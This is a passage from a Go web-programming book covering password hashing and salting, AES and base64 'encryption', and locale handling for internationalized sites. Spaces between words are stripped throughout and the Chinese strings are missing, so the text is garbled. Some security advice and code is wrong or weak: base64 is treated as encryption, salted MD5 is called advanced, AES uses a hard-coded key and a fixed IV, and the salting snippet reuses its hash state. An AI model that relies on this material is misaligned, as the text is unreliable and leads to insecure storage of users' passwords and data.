9.5PasswordstorageOvertheyears,manywebsiteshavesufferedfrombreachesinuserpassworddata.EventopinternetcompaniessuchasLinkedinandCSDN.nethavebeeneffected.Theimpactofthesetypesofeventshasbeenfeltacrosstheentireinternet,andcannotbeunderestimated.Thisisespeciallythecasefortoday'sinternetusers,whooftenadoptthehabitofusingthesamepasswordformanydifferentwebsites.

Aswebdevelopers,wehavemanychoiceswhenitcomestoimplementingapasswordstoragescheme.However,thisfreedomisoftenadoubleedgedsword.Sowhatarethecommonpitfallsandhowcanweavoidfallingintothem?

Commonsolutions

Currently,themostfrequentlyusedpasswordstorageschemeistoone-wayhashplaintextpasswordsbeforestoringthem.Themostimportantcharacteristicofone-wayhashingisthatitisinfeasibletorecovertheoriginaldatagiventhehasheddata-hencethe"one-way"inone-wayhashing.Commonlyusedcryptographic,one-wayhashalgorithmsincludeSHA-256,SHA-1,MD5andsoon.

YoucaneasilyusethethreeaforementionedencryptionalgorithmsinGoasfollows:

//import"crypto/sha256"h:=sha256.New()io.WriteString(h,"Hismoneyistwicetainted:'taintyoursand'taintmine.")fmt.Printf("%x",h.Sum(nil))

//import"crypto/sha1"h:=sha1.New()

io.WriteString(h,"Hismoneyistwicetainted:'taintyoursand'taintmine.")fmt.Printf("%x",h.Sum(nil))

//import"crypto/md5"h:=md5.New()io.WriteString(h,"" )fmt.Printf("%x",h.Sum(nil))

Therearetwokeyfeaturesofone-wayhashing:

1)givenaone-wayhashofapassword,theresultingsummaryisalwaysuniquelydetermined.2)calculationspeed.Astechnologyadvances,itonlytakesasecondtocompletebillionsofone-wayhashcalculations.

Giventhecombinationoftheabovetwocharacteristics,andtakingintoaccountthefactthatthemajorityofpeopleusesomecombinationofcommonpasswords,anattackercancomputeacombinationofallthecommonpasswords.Eventhoughthepasswordsyoustoreinyourdatabasemaybehashvaluesonly,ifattackersgainaccesstothisdatabase,theycancomparethestoredhashestotheirprecomputedhashestoobtainthecorrespondingpasswords.Thistypeofattackreliesonwhatistypicallycalledarainbowtable.

Wecanseethatencryptinguserdatausingone-wayhashesmaynotbeenough.Onceawebsite'sdatabasegetsleaked,theuser'soriginalpasswordcouldpotentiallyberevealedtotheworld.

Advancedsolution

Throughtheabovedescription,we'veseenthathackerscanuserainbowtablestocrackhashedpasswords,largelybecausethehashalgorithmusedtoencryptthemispublic.Ifthehackersdonotknowwhattheencryptionalgorithmis,theywouldn'tevenknowwheretostart.

Animmediatesolutionwouldbetodesignyourownhashalgorithm.However,goodhashalgorithmscanbeverydifficulttodesignbothinterms

ofavoidingcollisionsandmakingsurethatyourhashingprocessisnottooobvious.Thesetwopointscanbemuchmoredifficulttoachievethanexpected.Formostofus,it'smuchmorepracticaltousetheexisting,battlehardenedhashalgorithmsthatarealreadyoutthere.

But,justtorepeatourselves,one-wayhashingisstillnotenoughtostopmoresophisticatedhackersfromreverseengineeringuserpasswords.Especiallyinthecaseofopensourcehashingalgorithms,weshouldneverassumethatahackerdoesnothaveintimateknowledgeofourhashingprocess.

Ofcourse,therearenoimpenetrableshields,buttherearealsonounbreakablespears.Nowadays,anywebsitewithdecentsecuritywilluseatechniquecalled"salting"tostorepasswordssecurely.Thispracticeinvolvesconcatenatingaserver-generatedrandomstringtoausersuppliedpassword,andusingtheresultingstringasaninputtoaone-wayhashfunction.Theusernamecanbeincludedintherandomstringtoensurethateachuserhasauniqueencryptionkey.

//import"crypto/md5"//Assumetheusernameabc,password123456h:=md5.New()io.WriteString(h,"passwordneedtobeencrypted")

pwmd5:=fmt.Sprintf("%x",h.Sum(nil))

//Specifytwosalt:salt1=@#$%salt2=^&*()salt1:="@#$%"salt2:="^&*()"

//salt1+username+salt2+MD5splicingio.WriteString(h,salt1)io.WriteString(h,"abc")io.WriteString(h,salt2)io.WriteString(h,pwmd5)

last:=fmt.Sprintf("%x",h.Sum(nil))

Inthecasewhereourtwosaltstringshavenotbeencompromised,evenif

hackersdomanagetogettheirhandsontheencryptedpasswordstring,itwillbealmostimpossibletofigureoutwhattheoriginalpasswordis.

Professionalsolution

Theadvancedmethodsmentionedabovemayhavebeensecureenoughtothwartmosthackingattemptsafewyearsago,sincemostattackerswouldnothavehadthecomputingresourcestocomputelargerainbowtables.However,withtheriseofparallelcomputingcapabilities,thesetypesofattacksarebecomingmoreandmorefeasible.

Howdowesecurelystoreapasswordsothatitcannotbedecipheredbyathirdparty,givenreallifelimitationsintimeandmemoryresources?Thesolutionistocalculateahashedpasswordtodeliberatelyincreasetheamountofresourcesandtimeitwouldtaketocrackit.Wewanttodesignahashsuchthatnobodycouldpossiblyhavetheresourcesrequiredtocomputetherequiredrainbowtable.

Verysecuresystemsutilizehashalgorithmsthattakeintoaccountthetimeandresourcesitwouldrequiretocomputeagivenpassworddigest.Thisallowsustocreatepassworddigeststhatarecomputationallyexpensivetoperformonalargescale.Thegreatertheintensityofthecalculation,themoredifficultitwillbeforanattackertopre-computerainbowtables-somuchsothatitmayevenbeinfeasibletotry.

InGo,it'srecommendedthatyouusethescryptpackage,whichisbasedontheworkofthefamoushackerColinPercival(oftheFreeBSDbackupserviceTarsnap).

Thepackge'ssourcecodecanbefoundatthefollowinglink:http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt

HereisanexamplecodesnippetwhichcanbeusedtoobtainaderivedkeyforanAES-256encryption:

dk:=scrypt.Key([]byte("somepassword"),[]byte(salt),16384,8,1

,32)

Youcangenerateuniquepasswordvaluesusingtheabovemethod,whicharebyfarthemostdifficulttocrack.

Summary

Ifyou'reworriedaboutthesecurityofyouronlinelife,youcantakethefollowingsteps:

1)Asaregularinternetuser,werecommendusingLastPassforpasswordstorageandgeneration;ondifferentsitesusedifferentpasswords.

2)AsaGowebdeveloper,westronglysuggestthatyouuseoneoftheprofessional,welltestedmethodsaboveforstoringuserpasswords.

Links

DirectoryPrevioussection:SQLinjectionNextsection:Encryptanddecryptdata

9.6EncryptinganddecryptingdataTheprevioussectiondescribeshowtosecurelystorepasswords,butsometimesitmightbeneccessarytomodifysomesensitiveencrypteddatathathasalreadybeenstoredintoourdatabase.Whendatadecryptionisrequired,weshoulduseasymmetricencryptionalgorithminsteadoftheone-wayhashingtechniqueswe'vepreviouslycovered.

Base64Encryptionanddecryption

Ifthewebapplicationisrelativelysimple,andthedatasecurityrequirementsarenotsostringent,thenyoucanusearelativelysimplemethodofencryptionanddecryptionusingbase64.Thisapproachisrelativelystraightforwardtoimplement,andGo'sbase64packagehasgoodsupportforthis.Considerthefollowingexample:

packagemain

import("encoding/base64""fmt")

funcbase64Encode(src[]byte)[]byte{return[]byte(base64.StdEncoding.EncodeToString(src))}

funcbase64Decode(src[]byte)([]byte,error){returnbase64.StdEncoding.DecodeString(string(src))}

funcmain(){//encodehello:="helloworld"debyte:=base64Encode([]byte(hello))fmt.Println(debyte)//decodeenbyte,err:=base64Decode(debyte)iferr!=nil{fmt.Println(err.Error())}

ifhello!=string(enbyte){fmt.Println("helloisnotequaltoenbyte")}

fmt.Println(string(enbyte))}

Advancedencryptionanddecryption

TheGolanguagesupportssymmetricencryptionalgorithmsinitscryptopackage.Twoadvancedencryptionmodulesare:

crypto/aespackage:AES(AdvancedEncryptionStandard),alsoknownasRijndaelencryptionmethod,isusedbytheU.S.federalgovernmentasablockencryptionstandard.crypto/despackage:DES(DataEncryptionStandard),isasymmetricencryptionstandard.It'scurrentlythemostwidelyusedkeysystem,especiallyinprotectingthesecurityoffinancialdata.ItusedtobetheUnitedStatesfederalgovernment'sencryptionstandard,buthasnowbeenreplacedbyAES.

Becauseusingthesetwoencryptionalgorithmsisquitesimilar,we'lljustusetheaespackageinthefollowingexampletodemonstratehowyou'dtypicallyusethesepackages:

packagemain

import("crypto/aes""crypto/cipher""fmt""os")

varcommonIV=[]byte{0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f}

funcmain(){//Needtoencryptastringplaintext:=[]byte("MynameisAstaxie")//Ifthereisanincomingstringofwordstobeencrypted,setplaintexttothatincomingstringiflen(os.Args)>1{plaintext=[]byte(os.Args[1])}

//aesencryptionstringkey_text:="astaxie12798akljzmknm.ahkjkljl;k"iflen(os.Args)>2{

key_text=os.Args[2]}

fmt.Println(len(key_text))

//Createtheaesencryptionalgorithmc,err:=aes.NewCipher([]byte(key_text))iferr!=nil{fmt.Printf("Error:NewCipher(%dbytes)=%s",len(key_text),err)os.Exit(-1)}

//Encryptedstringcfb:=cipher.NewCFBEncrypter(c,commonIV)ciphertext:=make([]byte,len(plaintext))cfb.XORKeyStream(ciphertext,plaintext)fmt.Printf("%s=>%x\n",plaintext,ciphertext)

//Decryptstringscfbdec:=cipher.NewCFBDecrypter(c,commonIV)plaintextCopy:=make([]byte,len(plaintext))cfbdec.XORKeyStream(plaintextCopy,ciphertext)fmt.Printf("%x=>%s\n",ciphertext,plaintextCopy)}

Callingtheabovefunctionaes.NewCipher(whose[]bytekeyparametermustbe16,24or32,correspondingtotheAES-128,AES-192orAES-256algorithms,respectively),returnsacipher.BlockInterfacethatimplementsthreefunctions:

typeBlockinterface{//BlockSizereturnsthecipher'sblocksize.BlockSize()int

//Encryptencryptsthefirstblockinsrcintodst.//Dstandsrcmaypointatthesamememory.Encrypt(dst,src[]byte)

//Decryptdecryptsthefirstblockinsrcintodst.//Dstandsrcmaypointatthesamememory.Decrypt(dst,src[]byte)}

Thesethreefunctionsimplementencryptionanddecryptionoperations;seetheGodocumentationforamoredetailedexplanation.

Summary

Thissectiondescribesseveralencryptionalgorithmswhichcanbeusedindifferentwaysaccordingtoyourwebapplication'sencryptionanddecryptionneeds.Forthemostbasicapplications,base64encodingmaysuffice.Forapplicationswithmorestringentsecurityrequirements,it'srecommendedtousethemoreadvancedAESorDESalgorithm.

Links

DirectoryPrevious:storepasswordsNext:Summary

9.7SummaryInthischapter,we'vedescribedCSRF,XSSandSQLinjectionbasedattacks.Mostwebapplicationsarevulnerabletothesetypesofattacksduetoalackofadequateinputfilteringonthepartoftheapplication.So,inadditiontointroducingtheprinciplesbehindtheseattacks,we'vealsointroducedafewtechniquesforeffectivelyfilteringuserdataandpreventingtheseattacksfromevertakingplace.Wethentalkedaboutafewmethodsforsecurelystoringuserpasswords,firstintroducingbasicone-wayhashingforwebapplicationswithloosesecurityrequirements,thenpasswordsaltingandencryptionalgorithmsformoreseriousapplications.Finally,webrieflydiscussedtwo-wayhashingandtheencryptionanddecryptionofsensitivedata.WelearnedthattheGolanguageprovidespackagesforthreesymmetricencryptionalgorithms:base64,AESandDES.Thepurposeofthischapteristohelpreadersbecomemoreconsciousofthe

securityissuesthatexistinmoderndaywebapplications.Hopefully,itcanhelpdeveloperstoplananddesigntheirwebapplicationsalittlemorecarefully,sotheycanwritesystemsthatareabletopreventhackersfromexploitinguserdata.TheGolanguagehasalargeandwelldesignedanti-attacktoolkit,andeveryGodevelopershouldtakefulladvantageofthesepackagestobettersecuretheirwebapplications.

Links

DirectoryPrevioussection:EncryptanddecryptdataNextchapter:Internationalizationandlocalization

10InternationalizationandlocalizationInordertoadapttotheincreasingglobalizationoftheinternet,asdevelopers,wemaysometimesneedtobuildmultilingual,internationalwebapplications.Thismeansthatsamepageswillappearindifferentlanguagesaccordingtouserregions,andperhapstheUIandUXwillalsobeadaptedtoshowdifferenteffectsbasedonlocalholidaysorculture.Forexampleatruntime,theapplicationwillbeabletorecognizeandprocessrequestscomingfromdifferentgeographicalregionsandrenderpagesinthelocaldialectordisplaydifferentuserinterface.Ascompetentdevelopers,wedon'twanttohavetomanuallymodifyourapplication'ssourcecodetocatertoeverypossibleregionoutthere.Whenanapplicationneedstoaddsupportforanewlanguage,weshouldbeabletosimplydropintheappropriatelanguagepackandbedonewithit.

Inthissection,we'llbetalkingaboutinternationalizationandlocalization(usuallyexpressedasi18nandL10N,respectively).Internationalizationistheprocessofdesigningapplicationsthatareflexibleenoughtobeservedtomultipleregionsaroundtheworld.Insomeways,wecanthinkof

internationalizationassomethingthathelpstofacilitatelocalization,whichistheadaptationofawebapplication'scontentanddesigntosuitthelanguageorculturalneedsofspecificlocales.

Currently,Go'sstandardpackagedoesnotprovidei18nsupport,buttherearesomeusefulandrelativelysimplethird-partyimplementationsavailable.Inthischapter,we'llbeusingtheopen-source"go-i18n"librarytosupportinternationalizationinourexamples.

Whenwetalkaboutmakingourwebapplications"international",wemeanthateachwebpageshouldbeconstructedwithlocalespecificinformationandassembledwiththecorrespondinglocalstrings,timeandcurrencyformats,etc.Thisinvolvesthreethings:

1. howtodeterminetheuser'slocale.

2. howtosavestringsorotherinformationassociatedwiththelocale.

3. howtoembedstringsandotherinformationaccordingtotheuser'slocale.

Inthefirstsection,we'lldescribehowtodetectandsetthecorrectlocaleinordertoallowwebsiteusersaccesstotheirlanguagespecificpages.Thesecondsectiondescribeshowtohandleorstorestrings,currencies,times,datesandotherlocalerelatedinformation.Finally,thethirdsectionwilldescribehowtointernationalizeyourwebapplication;morespecifically,we'lldiscusshowtoreturndifferentpageswithlocaleappropriatecontent.Throughthesethreesections,we'llbeabletosupportfulli18ninourwebapplications.

Links

DirectoryPreviousChapter:Chapter9SummaryNextsection:Settingthedefaultregion

10.1Settingthedefaultregion

Findingoutthelocale

Alocaleisasetofdescriptorsforaparticulargeographicalregion,andcanincludespecificlanguagehabits,textformatting,culturalidiomsandamultitudeofothersettings.Alocale'snameisusuallycomposedofthreeparts.First(andmandatory)isthelocale'slanguageabbreviation,suchas"en"forEnglishor"zh"forChinese.Thesecondpartisanoptionalcountryspecifier,andfollowsthefirstwithanminussign.Thisspecifierallowswebapplicationstodistinguishbetweendifferentcountrieswhichspeakthesamelanguage,suchas"en-US"forU.S.English,and"en-GB"forBritishEnglish.Thelastpartisanotheroptionalspecifier,andisaddedtothelocalewithaperiod.Itspecifieswhichcharactersettouse,forinstance"zh-CN.gb2312"specifiesthegb2312charactersetforChinese.

Godefaultstothe"UTF-8"encodingset,soi18ninGoapplicationsdonotneedtoconsiderthelastparameter.Thus,inourexamples,we'llonlyusethefirsttwopartsoflocaledescriptionsasourstandardi18nlocalenames.

OnLinuxandSolarissystems,youcanusethelocale-acommandtogetalistofallsupportedregionalnames.Youcanusethislistasexamplesofsomecommonlocales.ForBSDandothersystems,thereisnolocalecommand,buttheregionalinformationisstoredin/usr/share/locale.

Settingthelocale

Nowthatwe'vedefinedwhatalocaleis,weneedtobeabletosetitaccordingtovisitingusers'information(eitherfromtheirpersonalsettings,thevisiteddomainname,etc.).Herearesomemethodswecanusetosettheuser'slocale:

Fromthedomainname

Wecansetauser'slocaleviathedomainnameitselfwhentheapplicationusesdifferentdomainsfordifferentregions.Forexample,wecanusewww.asta.comasourdefaultEnglishwebsite,andthedomainnamewww.asta.cnasitsChinesecounterpart.Bysettingupseparatedomainsforseparateregions,youcandetectandservetherequestedlocale.Thistypeofsetuphasseveraladvantages:

IdentifyingthelocaleviaURLisdistinctiveandunambiguousUsersintuitivelyknowwhichdomainnamestovisitfortheirspecificregionorlanguageImplementingthisschemeinaGoapplicationverysimpleandconvenient,andcanbeachievedthroughamapConducivetosearchenginecrawlerswhichcanimprovethesite'sSEO

Wecanusethefollowingcodetoimplementacorrespondingdomainnamelocale:

ifr.Host=="www.asta.com"{i18n.SetLocale("en")}elseifr.Host=="www.asta.cn"{i18n.SetLocale("zh-CN")}elseifr.Host=="www.asta.tw"{i18n.SetLocale("zh-TW")}

Alternatively,wecouldhavealsosetlocalesthroughtheuseofsub-domainsuchas"en.asta.com"forEnglishsitesand"cn.asta.com"forChinesesite.Thisschemecanberealizedincodeasfollows:

prefix:=strings.Split(r.Host,".")

ifprefix[0]=="en"{i18n.SetLocale("en")}elseifprefix[0]=="cn"{i18n.SetLocale("zh-CN")}elseifprefix[0]=="tw"{i18n.SetLocale("zh-TW")

}

Settinglocalesfromthedomainnameaswe'vedoneabovehasitsadvantages,howeverl10nisgenerallynotimplementedinthisway.Firstofall,thecostofdomainnames(althoughusuallyquiteaffordableindividually)canquicklyaddupgiventhateachlocalewillneeditsowndomainname,andoftenthenameofthedomainwillnotnecessarilyfitinwiththelocalcontext.Secondly,wedon'twanttohavetoindividuallyconfigureeachwebsiteforeachlocale.Rather,weshouldbeabletodothisprogrammatically,forinstancebyusingURLparameters.Let'shavealookatthefollowingdescription.

FromURLparameters

Themostcommonwayofimplementingl10nistosetthedesiredlocaledirectlyintheURLparameters,suchwww.asta.com/hello?locale=zhorwww.asta.com/zh/hello.Thisway,wecansettheregionlikeso:i18n.SetLocale(params["locale"]).

Thissetuphasalmostalltheadvantagesofprependingthelocaleinfrontofthedomainandit'sRESTful,sowedon'tneedtoaddadditionalmethodstoimplementit.Thedownsidetothisapproachisthatitrequiresacorrespondinglocaleparameterinsideeachlink,whichcanbequitecumbersomeandmayincreasecomplexity.However,wecanwriteagenericfunctionthatproducestheselocale-specificURLssothatalllinksaregeneratedthroughit.Thisfunctionshouldautomaticallyaddalocaleparametertoeachlinksowhenusersclickthem,weareabletoparsetheirrequestswithease:locale=params["locale"].

PerhapswewantourURLstolookevenmoreRESTful.Forexample,wecouldmapeachofourresourcesunderaspecificlocalelikewww.asta.com/en/booksforourEnglishsiteandwww.asta.com/zh/booksfortheChineseone.ThisapproachisnotonlymoreconducivetoURLSEO,butisalsomorefriendlyforusers.Anybodyvisitingthesiteshouldbeabletoaccesslocale-specificwebsiteresourcesdirectlyfromtheURL.SuchURLaddressescanthenbepassedthroughtheapplicationrouterinorderto

obtaintheproperlocale(refertotheRESTsection,whichdescribestherouterplug-inimplementation):

mux.Get("/:locale/books",listbook)

Fromtheclientsettingsarea

Insomespecialcases,werequireexplicitclientinformationinordertosetthelocaleratherthanobtainingitfromtheURLorURLparameters.Thisinformationmaycomedirectlyfromtheclient'sbrowsersettings,theuser'sIPaddress,orthelocationsettingsfilledoutbytheuseratthetimeofregistration.Thisapproachismoresuitableforweb-basedapplications.

Accept-Language

WhenaclientrequestsinformationusinganHTTPheadersetwiththeAccept-Languagefield,wecanusethefollowingGocodetoparsetheheaderandsettheappropriateregioncode:

AL:=r.Header.Get("Accept-Language")ifAL=="en"{i18n.SetLocale("en")}elseifAL=="zh-CN"{i18n.SetLocale("zh-CN")}elseifAL=="zh-TW"{i18n.SetLocale("zh-TW")}

Ofcourse,inrealworldapplications,wemayrequiremorerigorousprocessesandrulesforsettinguserregions

IPAddress

Anotherwayofsettingaclient'sregionistolookattheuser'sIPaddress.WecanusethepopularGeoIPGeoLiteCountryorCitylibrariestohelpusrelateuserIPaddressestotheircorrespondingregionalareas.Implementingthis

mechanismisverysimple:weonlyneedtolookuptheuser'sIPaddressinsideourdatabaseandthenreturnlocale-specificcontentaccordingtowhichregionwasreturned.

Userprofile

Youcanalsoletusersprovideyouwiththeirlocaleinformationthroughaninputelementsuchasadrop-downmenu(orsomethingsimilar).Whenwereceivethisinformation,wecansaveittotheaccountassociatedwiththeuser'sprofile.Whentheuserlogsinagain,wewillbeabletocheckandsettheirlocalesettings-thisguaranteesthateverytimetheuseraccessesthewebsite,thereturnedcontentwillbebasedontheirpreviouslysetlocale.

Summary

Inthissection,we'vedemonstratedavarietyofwayswithwhichuserspecificlocalescanbedetectedandset.Thesemethodsincludedsettingtheuserlocaleviadomainname,subdomainname,URLparametersanddirectlyfromclientsettings.Bycateringtothespecificneedsofspecificregions,wecanprovideacomfortable,familiarandintuitiveenvironmentforuserstoaccesstheservicesthatweprovide.

Links

DirectoryPreviousone:InternationalizationandlocalizationNextsection:Localizedresources

10.2LocalizedResourcesTheprevioussectiondescribedhowtosetlocales.Afterthelocalehasbeenset,wethenneedtoaddresstheproblemofstoringtheinformationcorrespondingtospecificlocales.Thisinformationcaninclude:textual

content,timeanddate,currencyvalues,pictures,specificfilesandotherviewresources.InGo,allofthiscontextualinformationisstoredinJSONformatonourbackend,tobecalleduponandinjectedintoourviewswhenusersfromspecificregionsvisitourwebsite.Forexample,EnglishandChinesecontentwouldbestoredinen.jsonandzh-CN.jsonfiles,respectively.

Localizedtextualcontent

Plaintextisthemostcommonwayofrepresentinginformationinwebapplications,andthebulkofyourlocalizedcontentwilllikelytakethisform.Thegoalistoprovidetextualcontentthatisbothidiomatictoregionalexpressionsandfeelsnaturalforforeignusersofyoursite.Onesolutionistocreateanestedmapoflocales,nativelanguagestringsandtheirlocalcounterparts.Whenclientsrequestpageswithsometextualcontent,wefirstchecktheirdesiredlocale,thenretrievethecorrespondingstringsfromtheappropriatemap.Thefollowingsnippetisasimpleexampleofthisprocess:

packagemain

import"fmt"

varlocalesmap[string]map[string]string

funcmain(){locales=make(map[string]map[string]string,2)en:=make(map[string]string,10)en["pea"]="pea"en["bean"]="bean"locales["en"]=encn:=make(map[string]string,10)cn["pea"]=""cn["bean"]=""locales["zh-CN"]=cnlang:="zh-CN"fmt.Println(msg(lang,"pea"))fmt.Println(msg(lang,"bean"))}

funcmsg(locale,keystring)string{ifv,ok:=locales[locale];ok{

ifv2,ok:=v[key];ok{returnv2}}return""}

Theaboveexamplesetsupmapsoftranslatedstringsfordifferentlocales(inthiscase,theChineseandEnglishlocales).WemapourcntranslationstothesameEnglishlanguagekeyssothatwecanreconstructourEnglishtextmessageinChinese.Ifwewantedtoswitchourtexttoanyotherlocalewemayhaveimplemented,it'dbeasimplematterofsettingonelangvariable.

Simplekey-valuesubstitutionscansometimesbeinadequateforourneeds.Forexample,ifwehadaphrasesuchas"Iam30yearsold"where30isavariable,howwouldwelocalizeit?Incaseslikethese,wecancombineusethefmt.Printffunctiontoachievethedesiredresult:

en["howold"]="Iam%dyearsold"cn["howold"]="%d"

fmt.Printf(msg(lang,"howold"),30)

Theexamplecodeaboveisonlyforthepurposeofdemonstration;actuallocaledataistypicallystoredinJSONformatinourdatabase,allowingustoexecuteasimplejson.Unmarshaltopopulatemaplocaleswithourstringtranslations.

Localizeddateandtime

Becauseofourtimezoneconventions,thetimeinoneregionoftheworldcanbedifferentthanthetimeinanotherregion.Similarly,thewayinwhichtimeisrepresentedcanalsovaryfromlocaletolocale.Forexample,aChineseenvironmentmayread20121024231113CST ,whileinEnglish,itmightbe:WedOct2423:11:13CST2012.Notonlyaretherevariationsin

language,buttherearedifferencesinformattingalso.So,whenitcomestolocalizingdatesandtimes,weneedtoaddressthefollowingtwopoints:

1. timezones2. formattingissues

The$GOROOT/lib/time/package/timeinfo.zipdirectorycontainslocalescorrespondingtotimezonedefinitions.Inordertoobtainthetimecorrespondingtoauser'scurrentlocale,weshouldfirstusetime.LoadLocation(namestring)togetaLocationobjectcorrespondingtoourlocale,passinginastringrepresentingthelocalesuchasAsia/ShanghaiorAmerica/Chicago.WecanthenusethisLocationobjectinconjunctionwithaTimeobject(obtainedbycallingtime.Now)togetthefinaltimeusingtheTimeobject'sInmethod.Adetailedlookatthisprocesscanbeseenbelow(thisexampleusessomeofthevariablesfromtheexampleabove):

en["time_zone"]="America/Chicago"cn["time_zone"]="Asia/Shanghai"

loc,_:=time.LoadLocation(msg(lang,"time_zone"))t:=time.Now()t=t.In(loc)fmt.Println(t.Format(time.RFC3339))

Wecanhandletextformattinginasimilarwaytosolveourtimeformattingproblem:

en["date_format"]="%Y-%m-%d%H:%M:%S"cn["date_format"]="%Y%m%d%H%M%S"

fmt.Println(date(msg(lang,"date_format"),t))

funcdate(fomatstring,ttime.Time)string{year,month,day=t.Date()hour,min,sec=t.Clock()//Parsingthecorresponding%Y%m%d%H%M%Sandthenreturningtheinformation//%Yreplacedby2012

//%mreplacedby10//%dreplacedby24}

Localizedcurrencyvalue

Obviously,currencydiffersfromregiontoregionalso.Wecantreatitthesamewaywetreatedourdates:

en["money"]="USD%d"cn["money"]="%d"

fmt.Println(date(msg(lang,"date_format"),100))

funcmoney_format(fomatstring,moneyint64)string{returnfmt.Sprintf(fomat,money)}

Localizationofviewsandresources

Wecanservecustomizedviewswithdifferentimages,css,jsandotherstaticresourcesdependingonthecurrentlocale.Onewaytoaccomplishthisisbyorganizingthesefilesintotheirrespectivelocales.Here'sanexample:

views|--en//EnglishTemplates|--images//storepictureinformation|--js//JSfiles|--css//CSSfilesindex.tpl//UserHomelogin.tpl//LogHome|--zh-CN//ChineseTemplates|--images|--js|--cssindex.tpllogin.tpl

Withthisdirectorystructure,wecanrenderlocale-specificviewslikeso:

s1,_:=template.ParseFiles("views"+lang+"index.tpl")VV.Lang=langs1.Execute(os.Stdout,VV)

Theresourcesreferencedintheindex.tplfilecanbedealtwithasfollows:

//jsfile<scripttype="text/javascript"src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>//cssfile<linkhref="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css"rel="stylesheet">//Picturefiles<imgsrc="views/{{.VV.Lang}}/https://raw.githubusercontent.com/astaxie/build-web-application-with-golang/master/pt-br/images/btn.png">

Withdynamicviewsandthewaywe'velocalizedourresources,wewillbeabletoaddmorelocaleswithoutmucheffort.

Summary

Thissectiondescribedhowtouseandstorelocalresources.Welearnedthatwecanuseconversionfunctionsandstringinterpolationforthis,andsawthatmapscanbeaneffectivewayofstoringlocale-specificdata.Forthelatter,wecouldsimplyextractthecorrespondinglocaleinformationwhenneeded-ifitwastextualcontentwedesired,ourmappedtranslationsandidiomscouldbepipeddirectlytotheoutput.Ifitwassomethingmoresophisticatedliketimeorcurrency,wesimplyusedthefmt.Printffunctiontoformatitbefore-hand.Localizingourviewsandresourceswastheeasiestcase,andsimplyinvolvedorganizingourfilesintotheirrespectivelocales,thenreferencingthemfromtheirlocalerelativepaths.

Links

DirectoryPrevioussection:SettingthedefaultregionNextsection:[Internationalsites

10.3InternationalsitesTheprevioussectionexplainedhowtodealwithlocalizedresources,namelybyusinglocaleconfigurationfiles.Sowhatcanwedoifweneedtodealwithmultiplelocalizedresourcesliketexttranslations,timesanddates,numbers,etc?Thissectionwilladdresstheseissuesonebyone.

Managingmultiplelocalepackages

Inthedevelopmentofanapplication,oftenthefirstthingyouneedtodoistodecidewhetherornotyouwanttosupportmorethanonelanguage.Ifyoudodecidetosupportmultiplelanguages,you'llneedtodevelopanorganizationalstructuretofacilitatetheprocessofaddingmorelanguagesinthefuture.Onewaywecandothisistoputallourrelatedlocalefilestogetherinaconfig/localesdirectory,orsomethingofthelike.Let'ssupposeyouwanttosupportbothChineseandEnglish.Inthiscase,you'dbeplacingboththeen.jsonandzh.jsonlocalefilesintotheaforementionedfolder.Theircontentswouldprobablylooksomethinglikethefollowing:

#zh.json

{"zh":{"submit":"" ,"create":""}}

#en.json

{"en":{"submit":"Submit","create":"Create"}}

Wedecidedtousesome3rdpartyGopackagestohelpusinternationalizeourwebapplications.Inthecaseofgo-i18n(Amoreadvancedi18npackagecanbefoundhere),wefirsthavetoregisterourconfig/localesdirectorytoloadallofourlocalefiles:

Tr:=i18n.NewLocale()Tr.LoadPath("config/locales")

Thispackageissimpletouse.Wecantestthatitworkslikeso:

fmt.Println(Tr.Translate("submit"))//Output"submit"Tr.SetLocale("zn")fmt.Println(Tr.Translate("submit"))//Outputs""

Automaticallyloadlocalpackage

We'vejustdescribedhowtoautomaticallyloadcustomlanguagepacks.Infact,thego-i18nlibrarycomespre-loadedwithabunchofdefaultformattinginformationsuchastimeandcurrencyformats.Thesedefaultconfigurationscanbeoverriddenandcustomizedbyuserstosuittheirneeds.Considerthefollowingprocess:

//Loadthedefaultconfigurationfiles,whichareplacedbelowin`go-i18n/locales`

//Fileshouldbenamedzh.json,en-json,en-US.jsonetc.,sowecanbecontinuouslysupportmorelanguages

func(il*IL)loadDefaultTranslations(dirPathstring)error{dir,err:=os.Open(dirPath)iferr!=nil{returnerr}deferdir.Close()

names,err:=dir.Readdirnames(-1)iferr!=nil{returnerr}

for_,name:=rangenames{fullPath:=path.Join(dirPath,name)

fi,err:=os.Stat(fullPath)iferr!=nil{returnerr}

iffi.IsDir(){iferr:=il.loadTranslations(fullPath);err!=nil{returnerr}}elseiflocale:=il.matchingLocaleFromFileName(name);locale!=""{file,err:=os.Open(fullPath)iferr!=nil{returnerr}deferfile.Close()

iferr:=il.loadTranslation(file,locale);err!=nil{returnerr}}}

returnnil}

Usingtheabovecodetoloadallofourdefaulttranslations,wecanthenusethefollowingcodetoselectandusealocale:

fmt.Println(Tr.Time(time.Now()))//Output:200910820:37:58CST

fmt.Println(Tr.Time(time.Now(),"long"))//Output:2009108

fmt.Println(Tr.Money(11.11))//Output:¥11.11

Templatemapfunc

Above,we'vepresentedonewayofmanagingandintegratinganumberoflanguagepacks.Someofthefunctionswe'veimplementedarebasedonthelogicallayer,forexample:"Tr.Translate","Tr.Time","Tr.Money"andsoon.Inthelogicallayer,wecanusethesefunctions(aftersupplyingtherequiredparameters)forapplyingyourtranslations,outputtingtheresultsdirectlytothetemplatelayeratrendertime.Whatcanwedoifwewanttousethesefunctionsdirectlyinthetemplatelayer?Incaseyou'veforgotten,earlierinthebookwementionedthatGotemplatessupportcustomtemplatefunctions.Thefollowingcodeshowshoweasymapfuncistoimplement:

1textinformation

Asimpletextconversionfunctionimplementingamapfunccanbeseenbelow.ItusesTr.Translatetoperformtheappropriatetranslations:

funcI18nT(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)

}returnTr.Translate(s)}

Weregisterthefunctionlikeso:

t.Funcs(template.FuncMap{"T":I18nT})

Thenuseitfromyourtemplate:

{{.V.Submit|T}}

1. Thedateandtime

DatesandtimescalltheTr.Timefunctiontoperformtheirtranslations.Themapfuncisimplementedasfollows:

funcI18nTimeDate(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnTr.Time(s)}

Registerthefunctionlikeso:

t.Funcs(template.FuncMap{"TD":I18nTimeDate})

